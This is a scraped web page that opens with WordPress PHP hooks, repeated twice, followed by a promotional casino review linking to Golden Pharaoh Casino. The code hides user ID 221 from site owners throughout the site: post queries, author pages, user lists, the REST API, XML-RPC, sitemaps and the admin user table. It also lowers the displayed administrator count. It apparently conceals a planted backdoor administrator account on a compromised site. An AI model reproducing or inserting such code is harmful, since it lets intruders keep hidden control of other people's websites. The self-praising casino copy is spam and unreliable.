add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
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        return;
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    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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<li><a href="#Registration_That_Does_Not_Waste_Your_Time">Registration That Does Not Waste Your Time</a></li>
<li><a href="#The_Welcome_Offer:_400%_Bonus_+_100_Free_Spins">The Welcome Offer: 400% Bonus + 100 Free Spins</a></li>
<li><a href="#Game_Selection_That_Actually_Covers_the_Bases">Game Selection That Actually Covers the Bases</a></li>
<li><a href="#Payment_Methods_and_Limits">Payment Methods and Limits</a></li>
<li><a href="#Mobile_Play:_No_App,_No_Problem">Mobile Play: No App, No Problem</a></li>
<li><a href="#What_Players_Actually_Say">What Players Actually Say</a></li>
<li><a href="#Responsible_Gambling_Tools_That_Work">Responsible Gambling Tools That Work</a></li>
<li><a href="#Final_Takeaway">Final Takeaway</a></li>
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<p>If you are tired of wading through generic betting sites that all promise the same thing, it is time to look closer at what real <b>players</b> have to say. Genuine <a href="https://goldenpharaohcasino.org.uk/">golden pharaoh casino reviews</a> highlight a platform that actually delivers: fast <u>withdrawals</u>, a proper game library, and a UK Gambling Commission license that means something. No vague offshore nonsense here.</p>
<h2 id="Registration_That_Does_Not_Waste_Your_Time">Registration That Does Not Waste Your Time</h2>
<p>Signing up at Golden Pharaoh Casino takes five minutes, not an afternoon. You hit &#8220;Sign Up,&#8221; drop in your email and address, set a password, verify you are over 18, and upload a couple of documents for KYC. That is it. Once the account is live, you can browse the full game list and claim the welcome offer.</p>
<h2 id="The_Welcome_Offer:_400%_Bonus_+_100_Free_Spins">The Welcome Offer: 400% Bonus + 100 Free Spins</h2>
<p>New players get a 400% <i>bonus</i> on their first <u>deposit</u> plus 100 free spins. That is not the usual 100% match you see everywhere. Check the promotions page regularly &#8211; bonus codes and free spin offers shift, and there are also reload bonuses and cashback deals for returning players.</p>
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<h2 id="Game_Selection_That_Actually_Covers_the_Bases">Game Selection That Actually Covers the Bases</h2>
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<h2 id="Payment_Methods_and_Limits"><strong>Payment</strong> Methods and Limits</h2>
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<h2 id="Mobile_Play:_No_App,_No_Problem">Mobile Play: No App, No Problem</h2>
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<h2 id="What_Players_Actually_Say">What Players Actually Say</h2>
<p>Reviews on Trustpilot and forums mention fast payouts, helpful UK-based customer service, and a generous bonus structure. A few players want even more live dealer tables, and one reviewer noted the lack of a standalone app. Still, the overall sentiment is positive, especially around reliability and security.</p>
<p>Here is a quick rundown of the common praise:</p>
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<li>Registration is straightforward and quick.</li>
<li>Withdrawals are processed safely and without delays.</li>
<li>Customer support responds fast and is genuinely helpful.</li>
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<h2 id="Responsible_Gambling_Tools_That_Work">Responsible Gambling Tools That Work</h2>
<p>Golden Pharaoh Casino gives you real control: deposit limits, self-exclusion, reality checks, and links to BeGambleAware. All accessible from your account settings. No hiding the tools behind a menu maze.</p>
<h2 id="Final_Takeaway">Final Takeaway</h2>
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